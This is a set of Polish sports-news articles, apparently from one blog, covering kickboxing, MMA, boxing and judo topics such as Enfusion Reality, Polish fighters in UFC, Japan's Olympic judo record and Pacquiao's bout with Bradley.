Rywalizacja – to jeden z fundamentów sportów walki. Do każdego pojedynku zawodnik musi się przygotować. Walki tych najlepszych, którzy są bożyszczami publiczności pokazują telewizje. Kickboxing jest efektowny i jego oglądanie to gwarancja ogromnych przeżyć. Organizacja Enfusion przygotowuje już szóstą edycję swojego reality show. Jednym z jego uczestników będzie Polak – Rafał Dudek.

Zawodnicy udadzą się do Tajlandii, gdzie będą stale obserwowani. Enfusion Reality to kompilacja wielu elementów. Z jeden strony to popularyzacja kickboxingu, a z drugiej show, które ma przyciągnąć widzów. Wszystko zwieńczą efektowne walki, w których nie powinno zabraknąć widowiskowych ciosów i kopnięć.

Finałowa gala

Holendrzy stawiają już kolejny krok. Enfusion na przełomie stycznia i lutego zorganizuje szóstą edycję reality show. Planowane jest przygotowanie szesnastu odcinków, które będą prezentowane widzom od marca do maja. Wśród uczestników pojawi się Rafał Dudek, rywalizujący w kategorii 70kg. Polak w grudniu wystąpił na gali Enfusion w Antwerpii, gdzie zaprezentował się z dobrej strony i pokonał w drugiej rundzie Youssefa El Hajia.

Dudek to nie pierwszy Polak, który wystąpi w Enfuison Reality. W trzeciej edycji zaprezentował się Piotr Łapuć. Polak rywalizował w kategorii 85kg, jednak w finałowym turnieju stoczył zaledwie jedną walkę. Lepszy od Łapucia okazał się Bośniak Adnan Omeragić. Z kolei w piątej edycji w rolę jednego z trenerów wcielił się Łukasz Krupadziorow.

Jak będzie wyglądała kolejna odsłona show? Zawodnicy udadzą się do Superpro Samui, gdzie będą razem mieszkać, trenować, a zwieńczeniem ich przygotowań będzie rywalizacja na finałowej gali. Fighterzy zostaną podzieleni na cztery zespoły przy zastosowaniu kryterium podziału geograficznego, a więc będziemy mieli ekipy Europy, Azji, Afryki oraz Ameryki Południowej. Nad panami pieczę będą sprawowały panie, którym przypadnie rola kapitanów drużyn. Za przygotowania Dudka oraz jego kolegów z Europy będzie odpowiadała Holenderka Sheena Widdershoven. Również panie staną do rywalizacji o triumf w zmaganiach w kategorii 65kg. 

Dudek będzie trenował wraz z Markiem Skeerem z Anglii, Cricem Boussoukou z Francji i Andreim Ostravanu z Rumunii. Nie zabraknie również zmagań celebrytów, wśród których zaprezentują się m.in. byli piłkarze Interu Mediolan – Brazylijczyk Ze Maria oraz Grek Lambros Choutos.

Kto z kim?

Pierwsze pojedynki odbędą się 28 stycznia. Zwycięzcy awansują do ćwierćfinałów, które zostały zaplanowane na 2 lutego. Pierwszym rywalem Polaka będzie zawodnik z RPA – Gomba Ncedo.

Zestawienia gali Enfusion Reality w kategorii 70kg:

Beau Superprosamui (Tajlandia) vs Christopher Mena Cardenas (Kolumbia)
Rafał Dudek (Polska) vs Gomba Ncedo (RPA)
Emy Sampuri (Malezja) vs Rodrigo Mineiro (Brazylia)
Mark Skeer (Anglia) vs Mohammed El Mir (Liban)
Shinji Ichinose (Japonia) vs Miquel Capora (Argentyna) 
Crice Boussoukou (Francja) vs Aziz Kallah (Maroko)
Jeremy Lee Tsun (Hongkong) vs Malic Groenberg (Surinam)
Andrei Ostravanu (Rumunia) vs Jassem Al Djilawi (Egipt)

KM

Hallman wyleciał z UFC

Każda przygoda się kiedyś kończy. Chciałoby się rzec, że wszystko ma swoje miejsce i czas. Dla wielu fighterów rywalizować w UFC to ogromne marzenie, a zarazem spełnienie i zaszczyt. Trafić tam to jedno, a rywalizować to drugie. Wie coś o tym Piotr Hallmann.

Jak podał portal mmarocks.pl przygoda polskiego zawodnika z UFC dobiegła końca. Hallmann padł ofiarą kolejnych czystek w szeregach amerykańskiej organizacji.

Dwa lata wśród najlepszych

W świecie sportu ciągle krąży powiedzenie, że na szczyt łatwo wejść, ale trudno się na nim utrzymać. Na kartach historii na zawsze czempion pozostanie czempionem. Nie zawsze będzie nim w ludzkiej pamięci, gdyż być może jego styl i czas panowania nie będzie imponujący.

Piotr Hallmann Ameryki nie zawojował. Był polską nadzieją mieszanych sztuk walki, jednak wraca na tarczy. Hallman imponował. Zawsze obserwatorów w euforię wprawiają zawodnicy, którzy kończą swoje walki przed czasem. Do tego grona należy właśnie Hallmann. Patrząc na bilans zawodnika z Gdyni widać, że nie patrzy na zegarek podczas walki. Tylko jeden pojedynek wygrał decyzją sędziów. Siedem starć zakończył przez nokaut, kolejnych siedem przez poddanie.

Wszystko to wygląda imponująco, ba – nawet bardzo imponująco. Problem w tym, że „to se ne vrati”. Można zauważyć, że awans do UFC spowodował zakręt w karierze Hallmanna. Debiut w amerykańskiej organizacji miał imponujący. We wrześniu 2013 uporał się z Francisco Trinaldo, któremu nie dał żadnych szans. W drugiej rundzie efektywna kimura w wykonaniu Polaka zakończyła rywalizację. Problemy zaczęły trapić Hallmanna w 2014 roku. We wrześniu przegrał z Gleisonem Tibau, a po walce okazało się, że stosował doping. Nie było pobłażliwości ze strony włodarzy amerykańskiej organizacji. Hallmann został zawieszony na dziewięć miesięcy. Wrócił w czerwcu 2015 roku, jednak przegrał dwa pojedynki. 28-latek stoczył sześć walk w UFC, ale tylko dwie wygrał. Przed rozpoczęciem przygody z najlepszą organizacją mieszanych sztuk walki na  świecie miał na swoim koncie miał tylko jedną porażkę. Po dwóch latach musi dodać do swojego konta cztery przegrane.

Warto jednak zaznaczyć, że Hallmann pokazał w UFC swoje umiejętności i efektywność. Za wygrane z Trinaldo i Yvesem Edwardsem otrzymał bonusy w wysokości 50 tysięcy dolarów.

Kolejny z naszych

Piotr Hallmann nie jest jedynym Polakiem, który w ostatnim czasie został zwolniony z UFC. W październiku 2015 roku z amerykańską organizacją pożegnali się Izabela Badurek i Paweł Pawlak. Wcześniej włodarze UFC zwolnili Marcina Bandla.

Jednak nie jest tak źle jak na pierwszy rzut oka wygląda. W UFC wiodącą postacią jest Joanna Jędrzejczyk, która dzierży pas mistrzyni w wadze słomkowej. Na kolejne walki czekają Krzysztof Jotko, Daniel Omielańczuk i Łukasz Sajewski. W grudniu udanie w UFC zadebiutowała Karolina Kowalkiewicz.

KM

Sporadyczne japońskie rozczarowania

Nikt nie ma wątpliwości, że Japonia jest kolebką judo, a zarazem potęgą w tej dyscyplinie. Najważniejsze imprezy stoją pod znakiem dominacji zawodników z Kraju Kwitnącej Wiśni. Czy zawsze tak jest?

Pod lupę wzięliśmy najważniejszą sportową imprezę globu, czyli Igrzyska Olimpijskie. Okazuje się, że Japończycy nie zawsze plasowali się na szczycie klasyfikacji medalowej.

Świeża rana

Judocy z Kraju Kwitnącej Wiśni liczą, że w Rio de Janeiro odkują się za słaby występ podczas igrzysk w Londynie. W 2012 roku Japonia poniosła klęskę. Kryzys, rozczarowanie, wpadka – tak można to ująć. Japończycy długo rozpamiętywali tę porażkę i zastanawiali się nad jej powodami. W klasyfikacji medalowej zajęli dopiero czwartą pozycję. Triumfowali Rosjanie przed Francuzami i Koreańczykami.

Japończycy w Londynie zdobyli tylko jeden złoty medal, a jego autorką była Kaori Matsumoto w kategorii 57kg. Szansę na triumf mieli również: Mika Sugimoto (+78kg), Hiroaki Hiraoka (60kg) oraz Riki Nakaya (73kg), jednak musieli obejść się smakiem. Dorobek nie był najgorszy, bo trudno za taki uznać zdobycie siedmiu miejsc na podium, jednak w przypadku takiej potęgi jak Japonia jest to porażka.

Również w 1988 roku w Seulu Japończycy zaprezentowali się słabiej niż zazwyczaj. W klasyfikacji medalowej uplasowali się na trzecim miejscu, a lepsi od nich okazali się Koreańczycy oraz Polacy. W Seulu w kategorii 78kg triumfował Waldemar Legień, a Polska wywalczyła dwa medale. Srebro w 65kg dołożył Jan Pawłowski. Co prawda Japończycy zdobyli cztery krążki, ale jeden złoty i trzy brązowe. Mistrzem olimpijskim w kategorii +95kg został legendarny Haiki Saito.

Judo obecne jest na Igrzyskach Olimpijskich od zmagań w Tokio w 1964 roku. Do tej pory zawodnicy z Kraju Kwitnącej Wiśni tylko trzy razy nie byli na czele klasyfikacji medalowej. W Seulu, Londynie i Moskwie, gdzie Japończycy nie startowali, ponieważ bojkotowali imprezę w Związku Socjalistycznych Republik Radzieckich ze względów politycznych. 

Dominatorzy

U siebie w Tokio nie mieli sobie równych. Rywalizacja odbywała się w czterech kategoriach wagowych, a w trzech triumfowali Japończycy. Akio Kaminaga  zdobył tylko srebro w kategorii open, bo na jego drodze stanął genialny Anton Geesink z Holandii.

W 1972 roku w Monachium Holendrzy deptali Japończykom po piętach, jednak nie dali rady. Judocy z Azji wywalczyli trzy złote i jeden brązowy medal. Cztery lata później łącznie sięgnęli po pięć krążków. Prawdziwy popis Japończycy dali w Los Angeles w 1984 roku, gdzie całkowicie zdominowali rywalizację. Shinji Hosokawa (60kg), Yoshiyuki Matsuoka (65kg), Hitoshi Saito (+95kg) oraz Yasuhiro Yamashita (open) wracali do ojczyzny w glorii najwyższej chwały.

W 1992 roku w Barcelonie Japończycy wywalczyli dziesięć medali, ale tylko dwa złote, ale i tak byli na czele klasyfikacji medalowej. Cztery lata później zdobyli trzy pierwsze miejsca, tak samo jak Francuzi. Tylko, że Trójkolorowi wywalczyli „tylko” trzy brązowe medale, a Japończycy cztery srebrne i brąz, co dało im triumf w „generalce”. W Sydney zawodnicy z Kraju Kwitnącej Wiśni sięgnęli po osiem krążków, w tym cztery złote i ponownie okazali się lepsi od Francji. W 2004 w Atenach Japończycy pozostawili wszystkich daleko w tyle. Aż ośmiu judoków może pochwalić się tytułami mistrzów olimpijskich. W Pekinie gospodarze chcieli utrzeć nosa Japończykom, jednak im się nie udało. Kraj samurajów okazał się ponownie lepszy. Japończycy zapisali na swoim koncie siedem medali, a Chińczycy trzy.

Jak widać Japonia to potęga. Czasami zdarzy się wpadka, ale dzieli ją przerwa aż 24 lat. Jeśli trzymać się statystyk to przez długi czas Japończycy będą nie do zatrzymania.

Fot. japantimes.co.jp

KM

Haye o jakości mistrza świata

Niemożliwe! A jednak. David Haye zawsze lubił dzielić się swoimi opiniami. Nie inaczej jest teraz, z tą różnicą, że nie mówi o sobie, a o mistrzu świata wagi ciężkiej Tysonie Fury’m.

„Hayemaker” w lipcu 2012 roku rywalizował z Władimirem Kliczko, jednak nie odebrał mu mistrzowskich pasów. Co prawda Anglik wytrzymał w ringu dwanaście rund, ale sędziowie wyraźnie punktowali na korzyść Ukraińca. To, czego nie udało się dokonać 35-latkowi z Bermondsey zrobił Tyson Fury.

Rewanż też dla niego

Po tym jak w listopadzie w Dusseldorfie Fury pokonał Kliczko i odebrał mu tytuły mistrzowskie WBO/WBA/IBF/WBO pojawiły się głosy na temat walki rewanżowej. Brytyjczyk jest gotowy jeszcze raz spotkać się z Ukraińcem. Gotowość do ponownej walki z Kliczko przypłacił stratą pasa IBF. Pretendentem do tytułu był Wiaczesław Głazkow, jednak Fury nie chciał z nim walczyć, lecz wolał wybrać pojedynek z Ukraińcem. Z kolei 31-letni bokser pochodzący z Ługańska 16 stycznia zmierzy się o wakujący tytuł z Charlesem Martinem.

Kliczko zagwarantował sobie w kontrakcie możliwość rewanżu i chętnie z niej skorzysta. Zapewne wokół pojedynku będą ogromne emocje. Nowy mistrz spotka się ze starym czempionem, który przez jedenaście lat pozostawał niepokonany. David Haye, były mistrz świata WBA w kategorii ciężkiej, stawia na zwycięstwo swojego rodaka. – Czy Fury wygra pojedynek rewanżowy z Kliczko? Sądzę, że tak. Wygrał bez problemów pierwszą walkę i pewnie w rewanżu zrobi to samo – ocenia "Hayemaker".

Zdaniem byłego czempiona WBA Fury nakręca zainteresowanie wokół kategorii królewskiej. – Nadszedł czas zmiany. Kliczko jest nudny. Może Tyson Fury jest idiotą, ale to zabawny człowiek. Ten gość śpiewa w ringu. Przebiera się za Batmana na konferencję prasową i biega jak szalony. To, co mówi na tematy kobiet w kuchni sprawia, że kręcę głową. Mimo to facet przyciąga zainteresowanie. Więcej ludzi zauważa wagę ciężką i mówi o niej, a boks to spektakl. Moim zdaniem Fury jest zdecydowanie lepszym mistrzem niż Kliczko – argumentuje Haye.

Jak widać Anglik w swoim stylu musi wbić szpilkę potencjalnemu rywalowi, jednak w jego wypowiedzi widać wyraźną pochwałę. W sprawie walki rewanżowej Fury vs Kliczko głos zabrał również brat byłego mistrza świata. – Rozmawiałem z nim po przegranej walce i powiedział, że zrobił już wszystko. Zaznaczyłem możliwości jakie ma. Pierwsza-wyjaśnić, że zrobił już wszystko i skończyć karierę bądź wrócić i udowodnić, że przegrana była wypadkiem przy pracy. Władimir wybrał drugą opcję. Według mnie ma duże szanse, żeby wygrać i wykorzysta tę okazję – mówi Witalij Kliczko.

Powrót po latach

Warto poświęcić chwilę uwagi samemu Haye’owi. Brytyjczyk wraca na ring i już 16 stycznia stoczy pojedynek po ponad trzyletniej przerwie.

Haye zdecydował się wrócić i jeszcze raz spróbować swoich sił. Zatęsknił za boksem, ma 35 lat, ale czy będzie w stanie przebić się do czołówki. Ostatnią walkę stoczył w lipcu 2012 roku i wtedy okazał się lepszy od Derecka Chistory. „Hayemaker” zwyciężył w piątej rundzie. 16 stycznia w O2 Arenie jego rywalem będzie Mark de Mori. 33-letni Australijczyk ostatnie pięć walk wygrał przed czasem, ale trudno powiedzieć, żeby gromił wirtuozów.

KM

Perły z Surinamu

Melvina Manhoefa nie trzeba nikomu przedstawiać. Blisko 40-letni zawodnik swoich sił próbował w kickboxingu i MMA. Wypracował sobie markę twardziela, który jest rozpoznawalny na całym świecie. Manhoef urodził się w Surinamie i wieku zaledwie trzech lat przybył z rodziną do Holandii.

Surinam to niewielkie państwo położone nad Oceanem Atlantyckim. Liczy niecałe pół miliona mieszkańców. Od XVI wieku tereny te zasiedlane były przez Holendrów. W traktacie pokojowym kończącym II wojnę holendersko-angielską uznano Surinam za posiadłość holenderską. Z czasem państwo stało się kolonią. W latach 50. XX wieku Surinam zyskał autonomię i mógł stworzyć własną administrację. Była to zapowiedź zmian, które dawały nadzieję na pełną niezależność. W 1975 roku kraj wybił się na niepodległość. Mieszkańcy Surinamu, a wcześniej Gujany Holenderskiej, zachowali holenderskie obywatelstwo. Wielu z nich zdecydowało się ruszyć w drogę do Europy, za poszukiwaniem lepszego życia. Odbiło się to na gospodarce kraju, która w latach 80. przeżywała załamanie. Krajem targały również konflikty zewnętrzne, a kolejni mieszkańcy szukali swojego szczęścia w Europie.

Fighterzy z najwyżej półki

Wielu z nich trafiło do Holandii, którą można nazwać swego rodzaju świątynią kickboxingu. Nie brakowało chłopców chcących udowodnić swoją siłę i nauczyć się podstawowych technik. Wśród nich były takie perły jak wspomniany Manhoef. Z tym, że wcale nie musiał rozpocząć treningów kickbokserskich. Swoją przygodę ze sportem skupił na piłce nożnej. Trenował w młodzieżowych drużynach Feyenoordu Rotterdam, jednak kontuzja przerwała jego karierę. W wieku osiemnastu lat musiał postanowił podjąć inne wyzwanie. Wybrał kickboxing i jak się okazuje zrobił bardzo dobrze.

W debiutanckiej walce dla organizacji K-1 przegrał z innym wybitnym zawodnikiem z Surinamu, Remym Bonjaskym. Zdecydował się spróbować swoich sił w MMA, ale z czasem wrócił do kickboxingu. Pojawiał się na galach K-1, ale największe sukcesy święcił w organizacji It’s Showtime. W latach 2009-2011 zdobywał mistrzostwo w kategorii 85kg. Obecnie jest znany z występów w Bellatorze. W listopadzie już w pierwszej rundzie pokonał Hisaki Kato i nadal jest cenioną postacią w świecie MMA. Polscy kibice mieli okazję poznać go z bliska w czerwcu 2013 roku, kiedy pojawił się na KSW. Przegrał z Mamedem Khalidovem.

Z kolei Remy Bonjasky to jeden z najbardziej widowiskowo walczących zawodników. Urodzony w 1976 roku fighter swoim latającym kolanem posłał niejednego rywala na deski. W 2008 roku znokautował m.in. Manhoefa. Bonjasky był nie do zatrzymania. W 2003 i 2004 roku zdobywał mistrzostwo K-1 World w Tokio. Jego dobrą passę przerwał Semmy Schilt, który w półfinałowej walce w 2005 roku znalazł sposób na zawodnika pochodzącego z Surinamu. Bonjasky powrócił na szczyt. Triumfował w 2008 roku w Jokohamie.

Młodzi gniewni

Z Surinamu pochodzi również Tyrone Spong, który w wieku 23 lat został mistrzem It’s Showtime w kategorii 95MAX. Zawodnik zdobywał tytuł w kolejnych trzech latach. Z kolei w 2013 roku okazał się najlepszy w Golden Glory w wadze półciężkiej. Jak wielu kickbokserów próbował w swoich sił w MMA. Debiutował na gali WSOF 1 w 2012 roku, gdzie pokonał Travisa Bartletta.

Errol Zimmerman miał zaledwie dziewiętnaście lat, gdy został mistrzem Holandii w boksie tajskim w kategorii 85kg. Od 2008 roku należał do czołówki wagi ciężkiej. Udanie rywalizował w prestiżowym cyklu K-1 WGP. Okazał się najlepszy podczas Grand Prix w Amsterdamie w 2008 roku. W kwietniu 2010 roku dostał szansę rywalizacji o pas mistrza K-1 w kategorii superciężkiej, jednak lepszy okazał się Semmy Schilt. Panowie spotkali się ponownie w 2012 roku. Stawką rywalizacji było mistrzostwo Glory w wadze ciężkiej. Zimmerman ponownie nie potrafił znaleźć sposobu na Schilta. Warto nadmienić, że zawodnik pochodzący z Surinamu na swoim koncie ma również wygraną w turnieju SuperKombat Fight Club w Rumunii w 2011 roku.

Za młodu wyjechali z Surinamu. W Holandii znaleźli swoją przystań, w której mogli rozwijać swoje umiejętności. Zaznaczyli swoją obecność na światowej arenie kicboxingu. Nazwiska Manhoefa i Bonjasky’ego to swego rodzaju historia. To też sygnał i przykład tego jakim miejscem jest Holandia pod względem kultury kickboxingu. W kraju tulipanów zawodnicy walczą, walczą i jeszcze raz walczą, przez co doskonalą swoje umiejętności. Od najmłodszych lat. Tam każda walka niesie ze sobą potężną dawkę emocji i wartość. Każdy doskonali swoje umiejętności i czeka na swój czas.

Na zdjęciu Malvin Manhoef.

Fot. sherdog.com

KM

Czy znajdą mistrza?

Kto szuka, ten znajdzie. Teoretycznie wydaje się to proste, jednak trzeba włożyć wiele wysiłku, aby wśród wielu trenujących odkryć ten największy talent i poświęcić czas na jego oszlifowanie. Jednak warto próbować. Już po raz piąty w Elblągu odbędzie się judo camp "Szlifujemy talenty – poszukujemy mistrza".

Inicjatywa została podjęta w 2011 roku przez trenerów i Polski Związek Judo. Cel jest jasny. Chodzi o podnoszenie wyszkolenia najmłodszych judoków oraz wyłonienie najlepszych, którzy rokują szanse na sukces w przyszłości.

Trzeba szukać

Niewątpliwe w polskim judo panuje kryzys. Nie tyle, że jesteśmy słabi, lecz nie odnosimy sukcesów na najważniejszych imprezach. Wszyscy mówią o złotym medalu olimpijskim Pawła Nastuli, a jakby nie patrzeć nasz wybitny zawodnik w Atalancie startował dwadzieścia lat temu. Robert Krawczyk w kategorii 81kg na mistrzostwach świata w Osace w 2003 roku wywalczył brązowy medal. Na kolejne miejsce na podium w światowym czempionacie musieliśmy czekać aż jedenaście lat. W 2014 roku w Czelabińsku po brąz sięgnęła Katarzyna Kłys w kategorii 70kg.

Brakuje sukcesów, które podźwignęłyby polskie judo. Dlatego jak najbardziej zasadne jest organizowanie imprez tego typu. Mówi się, że tonący brzytwy się chwyta. Chyba nie w tym rzecz. Bo judo camp "Szlifujemy talenty – poszukujemy mistrza" to szansa dla polskiego judo, ale również dla setek dzieci i szkoleniowców. To możliwość odkrycia przez najmłodszych pasji, z którą być może będą chcieli związać swoje życie.

Swego czasu trening w Elblągu prowadzili Aneta Szczepańska i Robert Krawczyk. W imprezie brali udział zawodnicy z Polski, Litwy oraz Rosji. W 2012 roku na tatami zaprezentowało się blisko 200 młodych judoków. Organizatorzy tegorocznego judo camp przewidują, że do Elbląga zjedzie 1000 pasjonatów z całej Europy.

Judo Camp w Elblągu odbędzie się w dniach 7-10 stycznia w hali Centrum Sportowo – Biznesowego. Konsultacje dla zawodników i trenerów będzie prowadził Rosjanin Jewgienij Lwow, kolejne zaś Japończyk Hiroshi Katanishi.

Będą nagrody

Wydarzenie w Elblągu będzie znakomitą okazją do uhonorowania tych, którzy najlepiej spisywali się w 2015 roku. 8 stycznia odbędzie się Ogólnopolska Gala Judo.

Podczas uroczystości wyróżnienia otrzymają najlepsi zawodnicy i trenerzy minionego roku. W Elblągu pojawią się srebrne medalistki mistrzostw świata w drużynie z Astany, jednak w niepełnym składzie. Zabraknie Anny Borowskiej (57kg) i Katarzyny Kłys (70kg), które przebywają na zgrupowania. Stawią się: Karolina Pieńkowska (52 kg), Arleta Podolak (57 kg), Agata Ozdoba, Karolina Tałach (obie 63 kg), Daria Pogorzelec (78 kg) i Katarzyna Furmanek (+78 kg). Obecna będzie również trener Aneta Szczepańska.

Nie zabraknie ikon polskiego judo. Wydarzenie swoją obecnością uświetnią m. in. Antoni Zajkowski, srebrny medalista Igrzysk Olimpijskich z Monachium z 1972 roku, oraz Marian Tataj, autor brązowego medalu na Igrzyskach Olimpijskich w Montreal w 1976 roku.

KM

Wyrywny Błachowicz

Jan Błachowicz chciał wykorzystać kontuzję Jimi'ego Manuwy i zgłosił swój akces do rywalizacji z Nikitą Krylovem podczas lutowej gali UFC w Londynie. Ukrainiec pozytywnie ustosunkował się do oferty polskiego fightera.

Czy do pojedynku dojdzie? Sytuacja nieco się skomplikowała. Wydawało się, że organizatorzy będą chcieli znaleźć zastępstwo za Manuwę, jednak nie jest to wcale pewne. Również Krylov może zostać usunięty z karty gali UFC Fight Night 83, która została zaplanowana na 27 lutego w Londynie.

Janek chciał spróbować

Przygoda „Johna” z UFC nie wygląda tak jakby życzył sobie sam zawodnik i jego fani. Skończyło się na mocnym wejściu. Błachowicz niczym bohaterski kowboj wdarł się na arenę. Potrzebował zaledwie dwóch minut, aby rozprawić się z Illirem Latifim. Mocne kopnięcie „Johna” zrobiło wrażenie na zawodniku ze Szwecji, który nie potrafił się odnaleźć w oktagonie. Wykorzystał to Błachowicz. Zrobił wrażenie, wszyscy zacierali ręce i czekali na jego kolejne walki.

A tu klapa. Rok 2015 był kiepski w wykonaniu Błachowicza. Najpierw w Krakowie uległ na punkty Jimi'emu Manuwie, a we wrześniu lepszy od Polaka okazał się Corey Anderson. „John” miał rywalizować również w gwiazdą UFC Anthony'm Johnsonem. Pojedynek został zaplanowany w Las Vegas. Wydawało się, że to życiowa szansa dla Błachowicza. Być albo nie być. Temperatura rosła aż w końcu spadła do zera. Walkę odwołano. Zamiast Johsona pojawił się średni Anderson, ale Błachowicz pojedynek przegrał.

Pojawił się duży znak zapytania. Co dalej? Błachowicz musiał to wszystko przemyśleć. To nie tak miało wyglądać. Ochłonął i wrócił, chce spróbować swoich sił po raz kolejny. W Londynie nie wystąpi Jimi Manuwa, który nabawił się kontuzji. Nikita Krylov został bez rywala. Błachowicz nie czekał i przedstawił za pośrednictwem Twittera Ukraińcowi swoją propozycję. 

– Jimi @POSTERBOYJM is out. @danawhite, @MMA_Matchmaker I'm ready for London and @KrylovUFC!!! – napisał Polak.

Co na to Krylov? – Let's do it! – krótko odpisał Ukrainiec.

A więc do roboty! Stop. Pojawia się kolejny znak zapytania. Według nieoficjalnych informacji Krylov nie pojawi się w lutym w Londynie. Tym samym szansa na ujrzenie w oktagonie Błachowicza maleje. Krylov to ciekawy zawodnik. Jego początki w UFC też nie były najlepsze, jednak jeden dobry występ pchnął go wyraźnie, dodał pewności siebie. Po wygranej w lipcu 2014 roku z Cody Donovanem, Ukrainiec nie przegrał. Być może Błachowicz również potrzebuje tzw. walki na przełamanie. 

Będą inni

W Londynie podczas gali UFC Fight Night 83 zobaczymy Polaków. Czy będzie wśród nich Błachowicz? Jest to co najmniej wątpliwe. Na pewno pojawi się Daniel Omielańczuk, który w wadze superciężkiej zmierzy się Jarijsem Danho. W kategorii średniej zobaczymy Krzysztofa Jotko. Rywalem Polaka będzie Brad Scott. Z kolei Łukasz Sajewski w wadze lekkiej zmierzy się z Teemu Packalénem.

KM

Bradley ostatnim rywalem Pacquiao?

W roku 2015 na zakończenie bokserskiej kariery zdecydował się Floyd Mayweather Jr. Chodzą słuchy, że z podobnymi zamiarami nosi się Manny Pacquiao, który w kwietniu ma stanąć w ringu z Timothy Bradley’em. Czy taki scenariusz jest możliwy?

Popularny „Pacman” to jeden z najbardziej rozpoznawalnych bokserów na świecie. Na swoją sławę pracował latami. Filipińczyk doszedł na szczyt dzięki swojemu uporowi, niezłomności i pokonywaniu kolejnych barier. Należy podkreślić, że Pacquiao zdobywał pasy mistrzowskie w kategoriach muszej, piórkowej, junior piórkowej, junior lekkiej, lekkiej, półśredniej oraz lekkośredniej.

Po raz trzeci

Pacquiao podejmuje kolejne wyzwanie. 9 kwietnia podczas gali w Las Vegas zmierzy się z mistrzem świata WBO wagi półśredniej Timothy Bradley’em. Panowie spotkają się w ringu po raz trzeci. Historia ich rywalizacji sięga roku 2012. 9 czerwca w MGM Grand triumfował Bradley, choć werdykt wzbudził wiele kontrowersji. Amerykanin wygrał niejednogłośnie na punkty, co dało mu tytuł mistrza świata WBO w wadze półśredniej. Obserwatorzy twierdzili, że Pacquiao w ringu wyglądał lepiej, jednak decyzja zapadła i Filipińczyk musiał pogodzić się z porażką.

„Pacman” pałał żądzą rewanżu, do którego doszło w kwietniu 2014 roku. Ponownie walka odbyła się w MGM Grand, jednak tym razem Pacquiao nie pozostawił rywalowi żadnych złudzeń. Filipińczyk zdominował Amerykanina i sędziowie nie mieli żadnych wątpliwości. Pacquaio wygrał jednogłośnie na punkty. Filipińczyk mógł cieszyć się z odzyskania mistrzowskiego tytułu, a Bradley przeżywał porażkę, gdyż była to jego pierwsza ringowa klęska.

Po rywalizacji z Pacquaio Amerykanin robił wszystko, aby wrócić na szczyt. Pokonując Jessie Vargasa zdobył tymczasowy tytuł mistrza WBO w wadze półśredniej. W międzyczasie Pacquaio przegrał z Mayweatherem i Bradley skorzystał z okazji. Zmierzył się o pas z Brandonem Riosem. W dziewiątej rundzie zakończył rywalizację i mógł cieszyć się z tytułu. Pacquiao po przegranej w walce stulecia z Mayweatherem szukał wyzwań. Bob Arum uznał, że Bradley będzie najlepszym rywalem dla „Pacmana”.

Zakończenie w tle

Wszystko jest już niemal dopięte na ostatni guzik. – Umowa jest już przygotowana i czekamy na trzecią walkę z Bradleyem. Mamy świadomość, że Timothy jest znacznie lepszym bokserem niż podczas ostatniej walki z Manny i uwzględniliśmy to. Bradley jest zadowolony z całej sytuacji, Pacquaio czeka trudne wyzwanie – powiedział Bob Arum.

Pojawiały się głosy, że Pacquaio miał się zmierzyć z Adrianem Bronerem, jednak Arum zadał kres tym pogłoskom. Cały czas w przestrzeni publicznej pojawiają się informacje na temat ostatniej walki „Pacmana”. Filipińczyk ma zamiar wziąć udział w wyborach do senatu w swoim kraju i otwarcie przyznaje, że zdobycie mandatu uniemożliwi mu regularne treningi i skupienie się na boksie. Czy Bradley będzie ostatnim rywalem Pacquaio? A może Bob Arum przygotuje dla „Pacmana” jeszcze jakąś niespodziankę, która przekona go do wydłużenia sportowej kariery? Sam Filipińczyk, że od przejścia na emeryturę odciąga go wizja rewanżu z Mayweatherem.

KM

Aktywność potrzebna od zaraz

Czas zmieniły się. Teraz dzieci więcej czas spędzają przed ekranami telewizorów i komputerów. Aktywność fizyczna zeszła na dalszy plan. Lepiej spotkać się i pograć na konsoli niż iść na boisko.

Chwała rodzicom, którzy dbają o rozwój fizyczny swoich dzieci i wypychają je z domów. Rzecz jasna, że spotkamy również małych zapaleńców, którzy nie wyobrażają sobie życia bez regularnych treningów. Mimo to aktywność kuleje. Nauczyciele wychowania fizycznego załamują ręce pod ilością zwolnień z zajęć. Receptą na to wszystko jest większa popularyzacja aktywności fizycznej oraz ukazanie jej zalet.

Dać szansę

Zapewne każdy pamięta jak wyglądały lekcje wychowania fizycznego. Wiele zależało od nauczyciela, ale także od materiału ludzkiego. Są grupy dzieci, które palą się, żeby coś porobić i wykorzystać swoją energię. Czasami nauczyciel rzuci piłkę i zajęcia odbywają się w myśl zasady „róbta, co chceta”.

To wszystko jest takie schematyczne. A może spróbować czegoś nowego? Pozwolić wejść na dobre do szkół judo i zapasom. Dyscyplinom tradycyjnym, olimpijskim i pełnym wartości, a także z bogatą historią. To nie tylko sport, ale coś więcej. Zbiór wartości, tradycja i pewna życiowa ścieżka. Spójrzmy z bliska na dzieci. Od najmłodszych lat brzdące lubią się przekomarzać. W piaskownicy czy w parku, a nawet w domu dochodzi do kłótni między szkrabami. Jeden drugiego uderzy i płacz. Z czasem dorastają, ale również łapią się „za łby”. Powtarzają ciągle, że to dla zabawy. Skoro mają takie zapędy to może warto je wykorzystać. Zaprosić na matę i pokazać kilka chwytów, a zarazem czegoś nauczyć. Edukacja, aktywność fizyczna, a zarazem wykorzystanie zapędów młodego człowieka. Czego chcieć więcej?

Chwała Andrzejowi Supronowi za projekt „Zapasy w każdej szkole”. Pomysł genialny, wydaje się prosty, ale jakże skuteczny. Andrzeja Suprona przedstawiać nikomu nie trzeba, a jeśli mistrz zapasów mówi, że z aktywnością dzieci jest źle to wie, co mówi. Sprawa została już nagłośniona. Projekt jest współfinansowany ze środków Ministerstwa Sportu i Turystyki. W czerwcu 2014 roku Supron zainaugurował działalność i ruszył w wycieczkę po kraju. Zaczął od Łodzi. Wystarczy pokazać, że zapasy to całkiem przyjemna i fajna dyscyplina, która nie wymaga nakładów finansowych. Trzeba trafić do młodych, przemówić do nich. W czasach postępującej globalizacji nic tak nie działa na zmysły jak doświadczenie czegoś na własnej skórze.

Przed telewizorem czy w ruchu?

Zapasy czy judo pozwalają również nabyć umiejętności społecznych. To treningi, przebywanie w grupie i pokonywanie pewnych barier. Supron pokazał, że trenować może każdy. To również istotne. Wydaje się, że bogacimy się, jednak nadal są obszary, gdzie panuje bieda. Dlatego trzeba stworzyć szanse dla wszystkich.

""

